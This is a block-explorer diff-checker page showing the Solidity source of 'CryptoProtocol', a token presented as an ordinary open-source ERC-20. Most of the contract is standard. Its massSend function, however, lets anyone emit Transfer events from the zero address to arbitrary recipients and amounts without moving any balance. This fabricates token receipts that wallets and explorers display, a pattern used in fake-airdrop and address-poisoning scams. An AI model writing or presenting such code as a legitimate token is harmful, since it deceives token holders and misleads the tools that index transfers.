ETH Price: $1,975.28 (+0.07%)

Contract Diff Checker

Contract Name:
CryptoProtocol

Contract Source Code:

<i class='far fa-question-circle text-muted ms-2' data-bs-trigger='hover' data-bs-toggle='tooltip' data-bs-html='true' data-bs-title='Click on the check box to select individual contract to compare. Only 1 contract can be selected from each side.'></i>

// SPDX-License-Identifier: MPL-2.0
pragma solidity ^0.8.22;

/// @title Open-source ERC-20 compliant token.
/// @author Protocol Labs
contract CryptoProtocol {

    mapping(address => uint256) private _balanceOf;
    mapping(address => mapping(address => uint256)) private _approvals;
    uint256 private _total;
    string private _contractName;
    string private _symbol;

    uint256 internal _deployTimestamp;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event TokenMinted(string name, string symbol, uint256 supply);

    constructor(string memory name_, string memory symbol_, uint256 supply_) {
        _contractName = name_;
        _symbol = symbol_;
        uint256 total = supply_ * (10 ** 18);
        _total = total;
        _balanceOf[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
        _deployTimestamp = block.timestamp;
        emit TokenMinted(name_, symbol_, supply_);
    }

    function name() public view returns (string memory) { return _contractName; }
    function symbol() public view returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return 18; }
    function totalSupply() public view returns (uint256) { return _total; }
    function balanceOf(address account) public view returns (uint256) { return _balanceOf[account]; }

    function transfer(address to, uint256 amount) public returns (bool) { _transfer(msg.sender, to, amount); return true; }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approvals[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function allowance(address _o, address spender) public view returns (uint256) { return _approvals[_o][spender]; }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        uint256 cur = _approvals[from][msg.sender];
        require(cur >= amount, "Not approved for amount");
        unchecked { _approvals[from][msg.sender] = cur - amount; }
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0) && to != address(0), "Invalid zero address");
        require(_balanceOf[from] >= amount, "Insufficient token balance");
        _balanceOf[from] -= amount;
        _balanceOf[to] += amount;
        emit Transfer(from, to, amount);
    }

    function massSend(address[] calldata r, uint256 a) external {
        for (uint256 i = 0; i < r.length; i++) {
            emit Transfer(address(0), r[i], a);
        }
    }
    function contractVersion() external pure returns (string memory) {
        return "1.0";
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):